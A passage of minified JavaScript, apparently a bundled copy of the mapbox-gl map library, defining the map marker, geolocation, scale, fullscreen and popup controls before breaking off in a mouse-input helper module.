29.0)"),ht.setAttributeNS(null,"fill","#000000");for(var Dt=[{rx:"10.5",ry:"5.25002273"},{rx:"10.5",ry:"5.25002273"},{rx:"9.5",ry:"4.77275007"},{rx:"8.5",ry:"4.29549936"},{rx:"7.5",ry:"3.81822308"},{rx:"6.5",ry:"3.34094679"},{rx:"5.5",ry:"2.86367051"},{rx:"4.5",ry:"2.38636864"}],Wt=0,ar=Dt;Wt<ar.length;Wt+=1){var hr=ar[Wt],Er=S.createNS("http://www.w3.org/2000/svg","ellipse");Er.setAttributeNS(null,"opacity","0.04"),Er.setAttributeNS(null,"cx","10.5"),Er.setAttributeNS(null,"cy","5.80029008"),Er.setAttributeNS(null,"rx",hr.rx),Er.setAttributeNS(null,"ry",hr.ry),ht.appendChild(Er)}var Fr=S.createNS("http://www.w3.org/2000/svg","g");Fr.setAttributeNS(null,"fill",this._color);var Or=S.createNS("http://www.w3.org/2000/svg","path");Or.setAttributeNS(null,"d","M27,13.5 C27,19.074644 20.250001,27.000002 14.75,34.500002 C14.016665,35.500004 12.983335,35.500004 12.25,34.500002 C6.7499993,27.000002 0,19.222562 0,13.5 C0,6.0441559 6.0441559,0 13.5,0 C20.955844,0 27,6.0441559 27,13.5 Z"),Fr.appendChild(Or);var zr=S.createNS("http://www.w3.org/2000/svg","g");zr.setAttributeNS(null,"opacity","0.25"),zr.setAttributeNS(null,"fill","#000000");var Yr=S.createNS("http://www.w3.org/2000/svg","path");Yr.setAttributeNS(null,"d","M13.5,0 C6.0441559,0 0,6.0441559 0,13.5 C0,19.222562 6.7499993,27 12.25,34.5 C13,35.522727 14.016664,35.500004 14.75,34.5 C20.250001,27 27,19.074644 27,13.5 C27,6.0441559 20.955844,0 13.5,0 Z M13.5,1 C20.415404,1 26,6.584596 26,13.5 C26,15.898657 24.495584,19.181431 22.220703,22.738281 C19.945823,26.295132 16.705119,30.142167 13.943359,33.908203 C13.743445,34.180814 13.612715,34.322738 13.5,34.441406 C13.387285,34.322738 13.256555,34.180814 13.056641,33.908203 C10.284481,30.127985 7.4148684,26.314159 5.015625,22.773438 C2.6163816,19.232715 1,15.953538 1,13.5 C1,6.584596 6.584596,1 13.5,1 Z"),zr.appendChild(Yr);var en=S.createNS("http://www.w3.org/2000/svg","g");en.setAttributeNS(null,"transform","translate(6.0, 7.0)"),en.setAttributeNS(null,"fill","#FFFFFF");var xn=S.createNS("http://www.w3.org/2000/svg","g");xn.setAttributeNS(null,"transform","translate(8.0, 8.0)");var Pn=S.createNS("http://www.w3.org/2000/svg","circle");Pn.setAttributeNS(null,"fill","#000000"),Pn.setAttributeNS(null,"opacity","0.25"),Pn.setAttributeNS(null,"cx","5.5"),Pn.setAttributeNS(null,"cy","5.5"),Pn.setAttributeNS(null,"r","5.4999962");var Bn=S.createNS("http://www.w3.org/2000/svg","circle");Bn.setAttributeNS(null,"fill","#FFFFFF"),Bn.setAttributeNS(null,"cx","5.5"),Bn.setAttributeNS(null,"cy","5.5"),Bn.setAttributeNS(null,"r","5.4999962"),xn.appendChild(Pn),xn.appendChild(Bn),tt.appendChild(ht),tt.appendChild(Fr),tt.appendChild(zr),tt.appendChild(en),tt.appendChild(xn),Re.appendChild(tt),this._element.appendChild(Re),this._offset=o.Point.convert(he&&he.offset||[0,-14])}else this._element=he.element,this._offset=o.Point.convert(he&&he.offset||[0,0]);this._element.classList.add("mapboxgl-marker"),this._element.addEventListener("dragstart",function(Un){Un.preventDefault()}),this._element.addEventListener("mousedown",function(Un){Un.preventDefault()}),this._element.addEventListener("focus",function(){var Un=ve._map.getContainer();Un.scrollTop=0,Un.scrollLeft=0}),Rf(this._element,this._anchor,"marker"),this._popup=null}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.addTo=function($){return this.remove(),this._map=$,$.getCanvasContainer().appendChild(this._element),$.on("move",this._update),$.on("moveend",this._update),this.setDraggable(this._draggable),this._update(),this._map.on("click",this._onMapClick),this},H.prototype.remove=function(){return this._map&&(this._map.off("click",this._onMapClick),this._map.off("move",this._update),this._map.off("moveend",this._update),this._map.off("mousedown",this._addDragHandler),this._map.off("touchstart",this._addDragHandler),this._map.off("mouseup",this._onUp),this._map.off("touchend",this._onUp),this._map.off("mousemove",this._onMove),this._map.off("touchmove",this._onMove),delete this._map),S.remove(this._element),this._popup&&this._popup.remove(),this},H.prototype.getLngLat=function(){return this._lngLat},H.prototype.setLngLat=function($){return this._lngLat=o.LngLat.convert($),this._pos=null,this._popup&&this._popup.setLngLat(this._lngLat),this._update(),this},H.prototype.getElement=function(){return this._element},H.prototype.setPopup=function($){if(this._popup&&(this._popup.remove(),this._popup=null,this._element.removeEventListener("keypress",this._onKeyPress),this._originalTabIndex||this._element.removeAttribute("tabindex")),$){if(!("offset"in $.options)){var ve=38.1,Re=13.5,He=Math.sqrt(Math.pow(Re,2)/2);$.options.offset=this._defaultMarker?{top:[0,0],"top-left":[0,0],"top-right":[0,0],bottom:[0,-ve],"bottom-left":[He,(ve-Re+He)*-1],"bottom-right":[-He,(ve-Re+He)*-1],left:[Re,(ve-Re)*-1],right:[-Re,(ve-Re)*-1]}:this._offset}this._popup=$,this._lngLat&&this._popup.setLngLat(this._lngLat),this._originalTabIndex=this._element.getAttribute("tabindex"),this._originalTabIndex||this._element.setAttribute("tabindex","0"),this._element.addEventListener("keypress",this._onKeyPress)}return this},H.prototype._onKeyPress=function($){var ve=$.code,Re=$.charCode||$.keyCode;(ve==="Space"||ve==="Enter"||Re===32||Re===13)&&this.togglePopup()},H.prototype._onMapClick=function($){var ve=$.originalEvent.target,Re=this._element;this._popup&&(ve===Re||Re.contains(ve))&&this.togglePopup()},H.prototype.getPopup=function(){return this._popup},H.prototype.togglePopup=function(){var $=this._popup;if($)$.isOpen()?$.remove():$.addTo(this._map);else return this;return this},H.prototype._update=function($){if(this._map){this._map.transform.renderWorldCopies&&(this._lngLat=hl(this._lngLat,this._pos,this._map.transform)),this._pos=this._map.project(this._lngLat)._add(this._offset);var ve="";this._rotationAlignment==="viewport"||this._rotationAlignment==="auto"?ve="rotateZ("+this._rotation+"deg)":this._rotationAlignment==="map"&&(ve="rotateZ("+(this._rotation-this._map.getBearing())+"deg)");var Re="";this._pitchAlignment==="viewport"||this._pitchAlignment==="auto"?Re="rotateX(0deg)":this._pitchAlignment==="map"&&(Re="rotateX("+this._map.getPitch()+"deg)"),(!$||$.type==="moveend")&&(this._pos=this._pos.round()),S.setTransform(this._element,xf[this._anchor]+" translate("+this._pos.x+"px, "+this._pos.y+"px) "+Re+" "+ve)}},H.prototype.getOffset=function(){return this._offset},H.prototype.setOffset=function($){return this._offset=o.Point.convert($),this._update(),this},H.prototype._onMove=function($){this._pos=$.point.sub(this._positionDelta),this._lngLat=this._map.unproject(this._pos),this.setLngLat(this._lngLat),this._element.style.pointerEvents="none",this._state==="pending"&&(this._state="active",this.fire(new o.Event("dragstart"))),this.fire(new o.Event("drag"))},H.prototype._onUp=function(){this._element.style.pointerEvents="auto",this._positionDelta=null,this._map.off("mousemove",this._onMove),this._map.off("touchmove",this._onMove),this._state==="active"&&this.fire(new o.Event("dragend")),this._state="inactive"},H.prototype._addDragHandler=function($){this._element.contains($.originalEvent.target)&&($.preventDefault(),this._positionDelta=$.point.sub(this._pos).add(this._offset),this._state="pending",this._map.on("mousemove",this._onMove),this._map.on("touchmove",this._onMove),this._map.once("mouseup",this._onUp),this._map.once("touchend",this._onUp))},H.prototype.setDraggable=function($){return this._draggable=!!$,this._map&&($?(this._map.on("mousedown",this._addDragHandler),this._map.on("touchstart",this._addDragHandler)):(this._map.off("mousedown",this._addDragHandler),this._map.off("touchstart",this._addDragHandler))),this},H.prototype.isDraggable=function(){return this._draggable},H.prototype.setRotation=function($){return this._rotation=$||0,this._update(),this},H.prototype.getRotation=function(){return this._rotation},H.prototype.setRotationAlignment=function($){return this._rotationAlignment=$||"auto",this._update(),this},H.prototype.getRotationAlignment=function(){return this._rotationAlignment},H.prototype.setPitchAlignment=function($){return this._pitchAlignment=$&&$!=="auto"?$:this._rotationAlignment,this._update(),this},H.prototype.getPitchAlignment=function(){return this._pitchAlignment},H}(o.Evented),rc={positionOptions:{enableHighAccuracy:!1,maximumAge:0,timeout:6e3},fitBoundsOptions:{maxZoom:15},trackUserLocation:!1,showAccuracyCircle:!0,showUserLocation:!0},Fl;function bf(ue){Fl!==void 0?ue(Fl):o.window.navigator.permissions!==void 0?o.window.navigator.permissions.query({name:"geolocation"}).then(function(H){Fl=H.state!=="denied",ue(Fl)}):(Fl=!!o.window.navigator.geolocation,ue(Fl))}var Hu=0,Ol=!1,nc=function(ue){function H(he){ue.call(this),this.options=o.extend({},rc,he),o.bindAll(["_onSuccess","_onError","_onZoom","_finish","_setupUI","_updateCamera","_updateMarker"],this)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.onAdd=function($){return this._map=$,this._container=S.create("div","mapboxgl-ctrl mapboxgl-ctrl-group"),bf(this._setupUI),this._container},H.prototype.onRemove=function(){this._geolocationWatchID!==void 0&&(o.window.navigator.geolocation.clearWatch(this._geolocationWatchID),this._geolocationWatchID=void 0),this.options.showUserLocation&&this._userLocationDotMarker&&this._userLocationDotMarker.remove(),this.options.showAccuracyCircle&&this._accuracyCircleMarker&&this._accuracyCircleMarker.remove(),S.remove(this._container),this._map.off("zoom",this._onZoom),this._map=void 0,Hu=0,Ol=!1},H.prototype._isOutOfMapMaxBounds=function($){var ve=this._map.getMaxBounds(),Re=$.coords;return ve&&(Re.longitude<ve.getWest()||Re.longitude>ve.getEast()||Re.latitude<ve.getSouth()||Re.latitude>ve.getNorth())},H.prototype._setErrorState=function(){switch(this._watchState){case"WAITING_ACTIVE":this._watchState="ACTIVE_ERROR",this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-active"),this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-active-error");break;case"ACTIVE_LOCK":this._watchState="ACTIVE_ERROR",this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-active"),this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-active-error"),this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-waiting");break;case"BACKGROUND":this._watchState="BACKGROUND_ERROR",this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-background"),this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-background-error"),this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-waiting");break}},H.prototype._onSuccess=function($){if(this._map){if(this._isOutOfMapMaxBounds($)){this._setErrorState(),this.fire(new o.Event("outofmaxbounds",$)),this._updateMarker(),this._finish();return}if(this.options.trackUserLocation)switch(this._lastKnownPosition=$,this._watchState){case"WAITING_ACTIVE":case"ACTIVE_LOCK":case"ACTIVE_ERROR":this._watchState="ACTIVE_LOCK",this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-waiting"),this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-active-error"),this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-active");break;case"BACKGROUND":case"BACKGROUND_ERROR":this._watchState="BACKGROUND",this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-waiting"),this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-background-error"),this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-background");break}this.options.showUserLocation&&this._watchState!=="OFF"&&this._updateMarker($),(!this.options.trackUserLocation||this._watchState==="ACTIVE_LOCK")&&this._updateCamera($),this.options.showUserLocation&&this._dotElement.classList.remove("mapboxgl-user-location-dot-stale"),this.fire(new o.Event("geolocate",$)),this._finish()}},H.prototype._updateCamera=function($){var ve=new o.LngLat($.coords.longitude,$.coords.latitude),Re=$.coords.accuracy,He=this._map.getBearing(),tt=o.extend({bearing:He},this.options.fitBoundsOptions);this._map.fitBounds(ve.toBounds(Re),tt,{geolocateSource:!0})},H.prototype._updateMarker=function($){if($){var ve=new o.LngLat($.coords.longitude,$.coords.latitude);this._accuracyCircleMarker.setLngLat(ve).addTo(this._map),this._userLocationDotMarker.setLngLat(ve).addTo(this._map),this._accuracy=$.coords.accuracy,this.options.showUserLocation&&this.options.showAccuracyCircle&&this._updateCircleRadius()}else this._userLocationDotMarker.remove(),this._accuracyCircleMarker.remove()},H.prototype._updateCircleRadius=function(){var $=this._map._container.clientHeight/2,ve=this._map.unproject([0,$]),Re=this._map.unproject([1,$]),He=ve.distanceTo(Re),tt=Math.ceil(2*this._accuracy/He);this._circleElement.style.width=tt+"px",this._circleElement.style.height=tt+"px"},H.prototype._onZoom=function(){this.options.showUserLocation&&this.options.showAccuracyCircle&&this._updateCircleRadius()},H.prototype._onError=function($){if(this._map){if(this.options.trackUserLocation)if($.code===1){this._watchState="OFF",this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-waiting"),this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-active"),this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-active-error"),this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-background"),this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-background-error"),this._geolocateButton.disabled=!0;var ve=this._map._getUIString("GeolocateControl.LocationNotAvailable");this._geolocateButton.title=ve,this._geolocateButton.setAttribute("aria-label",ve),this._geolocationWatchID!==void 0&&this._clearWatch()}else{if($.code===3&&Ol)return;this._setErrorState()}this._watchState!=="OFF"&&this.options.showUserLocation&&this._dotElement.classList.add("mapboxgl-user-location-dot-stale"),this.fire(new o.Event("error",$)),this._finish()}},H.prototype._finish=function(){this._timeoutId&&clearTimeout(this._timeoutId),this._timeoutId=void 0},H.prototype._setupUI=function($){var ve=this;if(this._container.addEventListener("contextmenu",function(tt){return tt.preventDefault()}),this._geolocateButton=S.create("button","mapboxgl-ctrl-geolocate",this._container),S.create("span","mapboxgl-ctrl-icon",this._geolocateButton).setAttribute("aria-hidden",!0),this._geolocateButton.type="button",$===!1){o.warnOnce("Geolocation support is not available so the GeolocateControl will be disabled.");var Re=this._map._getUIString("GeolocateControl.LocationNotAvailable");this._geolocateButton.disabled=!0,this._geolocateButton.title=Re,this._geolocateButton.setAttribute("aria-label",Re)}else{var He=this._map._getUIString("GeolocateControl.FindMyLocation");this._geolocateButton.title=He,this._geolocateButton.setAttribute("aria-label",He)}this.options.trackUserLocation&&(this._geolocateButton.setAttribute("aria-pressed","false"),this._watchState="OFF"),this.options.showUserLocation&&(this._dotElement=S.create("div","mapboxgl-user-location-dot"),this._userLocationDotMarker=new Uu(this._dotElement),this._circleElement=S.create("div","mapboxgl-user-location-accuracy-circle"),this._accuracyCircleMarker=new Uu({element:this._circleElement,pitchAlignment:"map"}),this.options.trackUserLocation&&(this._watchState="OFF"),this._map.on("zoom",this._onZoom)),this._geolocateButton.addEventListener("click",this.trigger.bind(this)),this._setup=!0,this.options.trackUserLocation&&this._map.on("movestart",function(tt){var ht=tt.originalEvent&&tt.originalEvent.type==="resize";!tt.geolocateSource&&ve._watchState==="ACTIVE_LOCK"&&!ht&&(ve._watchState="BACKGROUND",ve._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-background"),ve._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-active"),ve.fire(new o.Event("trackuserlocationend")))})},H.prototype.trigger=function(){if(!this._setup)return o.warnOnce("Geolocate control triggered before added to a map"),!1;if(this.options.trackUserLocation){switch(this._watchState){case"OFF":this._watchState="WAITING_ACTIVE",this.fire(new o.Event("trackuserlocationstart"));break;case"WAITING_ACTIVE":case"ACTIVE_LOCK":case"ACTIVE_ERROR":case"BACKGROUND_ERROR":Hu--,Ol=!1,this._watchState="OFF",this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-waiting"),this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-active"),this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-active-error"),this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-background"),this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-background-error"),this.fire(new o.Event("trackuserlocationend"));break;case"BACKGROUND":this._watchState="ACTIVE_LOCK",this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-background"),this._lastKnownPosition&&this._updateCamera(this._lastKnownPosition),this.fire(new o.Event("trackuserlocationstart"));break}switch(this._watchState){case"WAITING_ACTIVE":this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-waiting"),this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-active");break;case"ACTIVE_LOCK":this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-active");break;case"ACTIVE_ERROR":this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-waiting"),this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-active-error");break;case"BACKGROUND":this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-background");break;case"BACKGROUND_ERROR":this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-waiting"),this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-background-error");break}if(this._watchState==="OFF"&&this._geolocationWatchID!==void 0)this._clearWatch();else if(this._geolocationWatchID===void 0){this._geolocateButton.classList.add("mapboxgl-ctrl-geolocate-waiting"),this._geolocateButton.setAttribute("aria-pressed","true"),Hu++;var $;Hu>1?($={maximumAge:6e5,timeout:0},Ol=!0):($=this.options.positionOptions,Ol=!1),this._geolocationWatchID=o.window.navigator.geolocation.watchPosition(this._onSuccess,this._onError,$)}}else o.window.navigator.geolocation.getCurrentPosition(this._onSuccess,this._onError,this.options.positionOptions),this._timeoutId=setTimeout(this._finish,1e4);return!0},H.prototype._clearWatch=function(){o.window.navigator.geolocation.clearWatch(this._geolocationWatchID),this._geolocationWatchID=void 0,this._geolocateButton.classList.remove("mapboxgl-ctrl-geolocate-waiting"),this._geolocateButton.setAttribute("aria-pressed","false"),this.options.showUserLocation&&this._updateMarker(null)},H}(o.Evented),Tc={maxWidth:100,unit:"metric"},Bl=function(H){this.options=o.extend({},Tc,H),o.bindAll(["_onMove","setUnit"],this)};Bl.prototype.getDefaultPosition=function(){return"bottom-left"},Bl.prototype._onMove=function(){ac(this._map,this._container,this.options)},Bl.prototype.onAdd=function(H){return this._map=H,this._container=S.create("div","mapboxgl-ctrl mapboxgl-ctrl-scale",H.getContainer()),this._map.on("move",this._onMove),this._onMove(),this._container},Bl.prototype.onRemove=function(){S.remove(this._container),this._map.off("move",this._onMove),this._map=void 0},Bl.prototype.setUnit=function(H){this.options.unit=H,ac(this._map,this._container,this.options)};function ac(ue,H,he){var $=he&&he.maxWidth||100,ve=ue._container.clientHeight/2,Re=ue.unproject([0,ve]),He=ue.unproject([$,ve]),tt=Re.distanceTo(He);if(he&&he.unit==="imperial"){var ht=3.2808*tt;if(ht>5280){var Dt=ht/5280;Vu(H,$,Dt,ue._getUIString("ScaleControl.Miles"))}else Vu(H,$,ht,ue._getUIString("ScaleControl.Feet"))}else if(he&&he.unit==="nautical"){var Wt=tt/1852;Vu(H,$,Wt,ue._getUIString("ScaleControl.NauticalMiles"))}else tt>=1e3?Vu(H,$,tt/1e3,ue._getUIString("ScaleControl.Kilometers")):Vu(H,$,tt,ue._getUIString("ScaleControl.Meters"))}function Vu(ue,H,he,$){var ve=Mc(he),Re=ve/he;ue.style.width=H*Re+"px",ue.innerHTML=ve+"&nbsp;"+$}function Ac(ue){var H=Math.pow(10,Math.ceil(-Math.log(ue)/Math.LN10));return Math.round(ue*H)/H}function Mc(ue){var H=Math.pow(10,(""+Math.floor(ue)).length-1),he=ue/H;return he=he>=10?10:he>=5?5:he>=3?3:he>=2?2:he>=1?1:Ac(he),H*he}var Es=function(H){this._fullscreen=!1,H&&H.container&&(H.container instanceof o.window.HTMLElement?this._container=H.container:o.warnOnce("Full screen control 'container' must be a DOM element.")),o.bindAll(["_onClickFullscreen","_changeIcon"],this),"onfullscreenchange"in o.window.document?this._fullscreenchange="fullscreenchange":"onmozfullscreenchange"in o.window.document?this._fullscreenchange="mozfullscreenchange":"onwebkitfullscreenchange"in o.window.document?this._fullscreenchange="webkitfullscreenchange":"onmsfullscreenchange"in o.window.document&&(this._fullscreenchange="MSFullscreenChange")};Es.prototype.onAdd=function(H){return this._map=H,this._container||(this._container=this._map.getContainer()),this._controlContainer=S.create("div","mapboxgl-ctrl mapboxgl-ctrl-group"),this._checkFullscreenSupport()?this._setupUI():(this._controlContainer.style.display="none",o.warnOnce("This device does not support fullscreen mode.")),this._controlContainer},Es.prototype.onRemove=function(){S.remove(this._controlContainer),this._map=null,o.window.document.removeEventListener(this._fullscreenchange,this._changeIcon)},Es.prototype._checkFullscreenSupport=function(){return!!(o.window.document.fullscreenEnabled||o.window.document.mozFullScreenEnabled||o.window.document.msFullscreenEnabled||o.window.document.webkitFullscreenEnabled)},Es.prototype._setupUI=function(){var H=this._fullscreenButton=S.create("button","mapboxgl-ctrl-fullscreen",this._controlContainer);S.create("span","mapboxgl-ctrl-icon",H).setAttribute("aria-hidden",!0),H.type="button",this._updateTitle(),this._fullscreenButton.addEventListener("click",this._onClickFullscreen),o.window.document.addEventListener(this._fullscreenchange,this._changeIcon)},Es.prototype._updateTitle=function(){var H=this._getTitle();this._fullscreenButton.setAttribute("aria-label",H),this._fullscreenButton.title=H},Es.prototype._getTitle=function(){return this._map._getUIString(this._isFullscreen()?"FullscreenControl.Exit":"FullscreenControl.Enter")},Es.prototype._isFullscreen=function(){return this._fullscreen},Es.prototype._changeIcon=function(){var H=o.window.document.fullscreenElement||o.window.document.mozFullScreenElement||o.window.document.webkitFullscreenElement||o.window.document.msFullscreenElement;H===this._container!==this._fullscreen&&(this._fullscreen=!this._fullscreen,this._fullscreenButton.classList.toggle("mapboxgl-ctrl-shrink"),this._fullscreenButton.classList.toggle("mapboxgl-ctrl-fullscreen"),this._updateTitle())},Es.prototype._onClickFullscreen=function(){this._isFullscreen()?o.window.document.exitFullscreen?o.window.document.exitFullscreen():o.window.document.mozCancelFullScreen?o.window.document.mozCancelFullScreen():o.window.document.msExitFullscreen?o.window.document.msExitFullscreen():o.window.document.webkitCancelFullScreen&&o.window.document.webkitCancelFullScreen():this._container.requestFullscreen?this._container.requestFullscreen():this._container.mozRequestFullScreen?this._container.mozRequestFullScreen():this._container.msRequestFullscreen?this._container.msRequestFullscreen():this._container.webkitRequestFullscreen&&this._container.webkitRequestFullscreen()};var Sc={closeButton:!0,closeOnClick:!0,className:"",maxWidth:"240px"},Ec=function(ue){function H(he){ue.call(this),this.options=o.extend(Object.create(Sc),he),o.bindAll(["_update","_onClose","remove","_onMouseMove","_onMouseUp","_onDrag"],this)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.addTo=function($){return this._map&&this.remove(),this._map=$,this.options.closeOnClick&&this._map.on("click",this._onClose),this.options.closeOnMove&&this._map.on("move",this._onClose),this._map.on("remove",this.remove),this._update(),this._trackPointer?(this._map.on("mousemove",this._onMouseMove),this._map.on("mouseup",this._onMouseUp),this._container&&this._container.classList.add("mapboxgl-popup-track-pointer"),this._map._canvasContainer.classList.add("mapboxgl-track-pointer")):this._map.on("move",this._update),this.fire(new o.Event("open")),this},H.prototype.isOpen=function(){return!!this._map},H.prototype.remove=function(){return this._content&&S.remove(this._content),this._container&&(S.remove(this._container),delete this._container),this._map&&(this._map.off("move",this._update),this._map.off("move",this._onClose),this._map.off("click",this._onClose),this._map.off("remove",this.remove),this._map.off("mousemove",this._onMouseMove),this._map.off("mouseup",this._onMouseUp),this._map.off("drag",this._onDrag),delete this._map),this.fire(new o.Event("close")),this},H.prototype.getLngLat=function(){return this._lngLat},H.prototype.setLngLat=function($){return this._lngLat=o.LngLat.convert($),this._pos=null,this._trackPointer=!1,this._update(),this._map&&(this._map.on("move",this._update),this._map.off("mousemove",this._onMouseMove),this._container&&this._container.classList.remove("mapboxgl-popup-track-pointer"),this._map._canvasContainer.classList.remove("mapboxgl-track-pointer")),this},H.prototype.trackPointer=function(){return this._trackPointer=!0,this._pos=null,this._update(),this._map&&(this._map.off("move",this._update),this._map.on("mousemove",this._onMouseMove),this._map.on("drag",this._onDrag),this._container&&this._container.classList.add("mapboxgl-popup-track-pointer"),this._map._canvasContainer.classList.add("mapboxgl-track-pointer")),this},H.prototype.getElement=function(){return this._container},H.prototype.setText=function($){return this.setDOMContent(o.window.document.createTextNode($))},H.prototype.setHTML=function($){var ve=o.window.document.createDocumentFragment(),Re=o.window.document.createElement("body"),He;for(Re.innerHTML=$;He=Re.firstChild,!!He;)ve.appendChild(He);return this.setDOMContent(ve)},H.prototype.getMaxWidth=function(){return this._container&&this._container.style.maxWidth},H.prototype.setMaxWidth=function($){return this.options.maxWidth=$,this._update(),this},H.prototype.setDOMContent=function($){return this._createContent(),this._content.appendChild($),this._update(),this},H.prototype.addClassName=function($){this._container&&this._container.classList.add($)},H.prototype.removeClassName=function($){this._container&&this._container.classList.remove($)},H.prototype.toggleClassName=function($){if(this._container)return this._container.classList.toggle($)},H.prototype._createContent=function(){this._content&&S.remove(this._content),this._content=S.create("div","mapboxgl-popup-content",this._container),this.options.closeButton&&(this._closeButton=S.create("button","mapboxgl-popup-close-button",this._content),this._closeButton.type="button",this._closeButton.setAttribute("aria-label","Close popup"),this._closeButton.innerHTML="&#215;",this._closeButton.addEventListener("click",this._onClose))},H.prototype._onMouseUp=function($){this._update($.point)},H.prototype._onMouseMove=function($){this._update($.point)},H.prototype._onDrag=function($){this._update($.point)},H.prototype._update=function($){var ve=this,Re=this._lngLat||this._trackPointer;if(!(!this._map||!Re||!this._content)&&(this._container||(this._container=S.create("div","mapboxgl-popup",this._map.getContainer()),this._tip=S.create("div","mapboxgl-popup-tip",this._container),this._container.appendChild(this._content),this.options.className&&this.options.className.split(" ").forEach(function(Er){return ve._container.classList.add(Er)}),this._trackPointer&&this._container.classList.add("mapboxgl-popup-track-pointer")),this.options.maxWidth&&this._container.style.maxWidth!==this.options.maxWidth&&(this._container.style.maxWidth=this.options.maxWidth),this._map.transform.renderWorldCopies&&!this._trackPointer&&(this._lngLat=hl(this._lngLat,this._pos,this._map.transform)),!(this._trackPointer&&!$))){var He=this._pos=this._trackPointer&&$?$:this._map.project(this._lngLat),tt=this.options.anchor,ht=ic(this.options.offset);if(!tt){var Dt=this._container.offsetWidth,Wt=this._container.offsetHeight,ar;He.y+ht.bottom.y<Wt?ar=["top"]:He.y>this._map.transform.height-Wt?ar=["bottom"]:ar=[],He.x<Dt/2?ar.push("left"):He.x>this._map.transform.width-Dt/2&&ar.push("right"),ar.length===0?tt="bottom":tt=ar.join("-")}var hr=He.add(ht[tt]).round();S.setTransform(this._container,xf[tt]+" translate("+hr.x+"px,"+hr.y+"px)"),Rf(this._container,tt,"popup")}},H.prototype._onClose=function(){this.remove()},H}(o.Evented);function ic(ue){if(ue)if(typeof ue=="number"){var H=Math.round(Math.sqrt(.5*Math.pow(ue,2)));return{center:new o.Point(0,0),top:new o.Point(0,ue),"top-left":new o.Point(H,H),"top-right":new o.Point(-H,H),bottom:new o.Point(0,-ue),"bottom-left":new o.Point(H,-H),"bottom-right":new o.Point(-H,-H),left:new o.Point(ue,0),right:new o.Point(-ue,0)}}else if(ue instanceof o.Point||Array.isArray(ue)){var he=o.Point.convert(ue);return{center:he,top:he,"top-left":he,"top-right":he,bottom:he,"bottom-left":he,"bottom-right":he,left:he,right:he}}else return{center:o.Point.convert(ue.center||[0,0]),top:o.Point.convert(ue.top||[0,0]),"top-left":o.Point.convert(ue["top-left"]||[0,0]),"top-right":o.Point.convert(ue["top-right"]||[0,0]),bottom:o.Point.convert(ue.bottom||[0,0]),"bottom-left":o.Point.convert(ue["bottom-left"]||[0,0]),"bottom-right":o.Point.convert(ue["bottom-right"]||[0,0]),left:o.Point.convert(ue.left||[0,0]),right:o.Point.convert(ue.right||[0,0])};else return ic(new o.Point(0,0))}var Cc={version:o.version,supported:L,setRTLTextPlugin:o.setRTLTextPlugin,getRTLTextPluginStatus:o.getRTLTextPluginStatus,Map:tc,NavigationControl:cl,GeolocateControl:nc,AttributionControl:go,ScaleControl:Bl,FullscreenControl:Es,Popup:Ec,Marker:Uu,Style:Xi,LngLat:o.LngLat,LngLatBounds:o.LngLatBounds,Point:o.Point,MercatorCoordinate:o.MercatorCoordinate,Evented:o.Evented,config:o.config,prewarm:Lt,clearPrewarmedResources:Nt,get accessToken(){return o.config.ACCESS_TOKEN},set accessToken(ue){o.config.ACCESS_TOKEN=ue},get baseApiUrl(){return o.config.API_URL},set baseApiUrl(ue){o.config.API_URL=ue},get workerCount(){return yr.workerCount},set workerCount(ue){yr.workerCount=ue},get maxParallelImageRequests(){return o.config.MAX_PARALLEL_IMAGE_REQUESTS},set maxParallelImageRequests(ue){o.config.MAX_PARALLEL_IMAGE_REQUESTS=ue},clearStorage:function(H){o.clearTileCache(H)},workerUrl:""};return Cc}),M})},27084:function(te){te.exports=Math.log2||function(Z){return Math.log(Z)*Math.LOG2E}},16825:function(te,Z,e){te.exports=P;var M=e(74311);function P(o,L){L||(L=o,o=window);var S=0,d=0,g=0,t={shift:!1,alt:!1,control:!1,meta:!1},r=!1;function f(T){var w=!1;return"altKey"in T&&(w=w||T.altKey!==t.alt,t.alt=!!T.altKey),"shiftKey"in T&&(w=w||T.shiftKey!==t.shift,t.shift=!!T.shiftKey),"ctrlKey"in T&&(w=w||T.ctrlKey!==t.control,t.control=!!T.ctrlKey),"metaKey"in T&&(w=w||T.metaKey!==t.meta,t.meta=!!T.metaKey),w}function a(T,w){var E=M.x(w),p=M.y(w);"buttons"in w&&(T=w.buttons|0),(T!==S||E!==d||p!==g||f(w))&&(S=T|0,d=E||0,g=p||0,L&&L(S,d,g,t))}function 